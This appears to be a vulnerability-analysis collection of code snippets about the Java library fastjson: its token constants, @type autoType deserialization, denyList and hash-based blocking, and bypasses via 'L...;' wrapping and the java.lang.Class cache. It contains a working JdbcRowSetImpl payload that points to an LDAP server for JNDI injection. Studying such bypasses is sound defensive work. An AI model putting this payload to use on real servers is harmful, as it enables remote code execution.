LIFECYCLE of FASTJSON

    public final static int ERROR                = 1;
    public final static int LITERAL_INT          = 2;
    public final static int LITERAL_FLOAT        = 3;
    public final static int LITERAL_STRING       = 4;
    public final static int LITERAL_ISO8601_DATE = 5;
    public final static int TRUE                 = 6;
    public final static int FALSE                = 7;
    public final static int NULL                 = 8;
    public final static int NEW                  = 9;
    public final static int LPAREN               = 10; // ("("),
    public final static int RPAREN               = 11; // (")"),
    public final static int LBRACE               = 12; // ("{"),
    public final static int RBRACE               = 13; // ("}"),
    public final static int LBRACKET             = 14; // ("["),
    public final static int RBRACKET             = 15; // ("]"),
    public final static int COMMA                = 16; // (","),
    public final static int COLON                = 17; // (":"),
    public final static int IDENTIFIER           = 18;
    public final static int FIELD_NAME           = 19;
    public final static int EOF                  = 20;
    public final static int SET                  = 21;
    public final static int TREE_SET             = 22;
    public final static int UNDEFINED            = 23; // undefined
    public final static int SEMI                 = 24;
    public final static int DOT                  = 25;
    public final static int HEX                  = 26;

public class Main {
  public static void main(String[] args) {
        long hash = 1872244109670850393L;
        long vIn = 46L;
        char key = (char)vIn;
        hash ^= (long)key;
        hash *= 1099511628211L;
        System.out.println(hash);
  }
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>history-fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version>
        </dependency>
    </dependencies>
</project>

package khaind.fj;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public  class  Testfastjson  {

    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("khaind");
        user1.setAge(12);
        System.out.println("obj name:"+user1.getClass().getName());

//序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

//Deserialize through the parse method
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

//Deserialize through the parseObject method. What is returned by this method is a JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println( "obj name:" +obj .getClass().getName()+ "\n" );

//Returned in this way is a corresponding class object
        Object obj1 = JSON.parseObject(serializedStr1,Object.class ) ;
        System.out.println(obj1);
        System.out.println( "obj1 name:" +obj1 .getClass().getName());

    }
}

package khaind.fj;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

package khaind.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {
        String myJSON = "{\"@type\":\"khaind.fj.User\",\"age\":12,\"name\":\"khaind\"}";
        JSONObject u3 = JSON.parseObject(myJSON);
        System.out.println("result => " + u3.get("name"));
    }
}

<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-bundle-jaxrs</artifactId>
    <version>2.6.6</version>
</dependency>

 for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                }
       }      

           } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);}

                        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }    

           } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);

                          if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                              throw new JSONException("autoType is not support. " + typeName);
                          }    

              } else if (className.charAt(0) == '[') {
                  Class<?> componentType = loadClass(className.substring(1), classLoader);
                  return Array.newInstance(componentType, 0).getClass();
              }

long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;            
if (h1 == -5808493101479473382L) {
                throw new JSONException("autoType is not support. " + typeName);}

                "{\n" +
                "    \"t1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    }, \n" +
                "    \"t2\": {\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\": \"ldap://127.0.0.1:1389/w17ii2\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}"

                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }

                lexer.nextToken();
                parser.accept(17);
                objVal = parser.parse();
                parser.accept(13);

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

    public static Class<?> loadClass(String className, ClassLoader classLoader) { //1
        return loadClass(className, classLoader, true);
    }

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {//2
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
                ...

                        clazz = classLoader.loadClass(className);
                        if (cache) {//
                            mappings.put(className, clazz);
                        }

                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }

   if (clazz == Class.class) { // clazz: "class. java.lang.Class"
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, true);
    }

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
                ...

                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }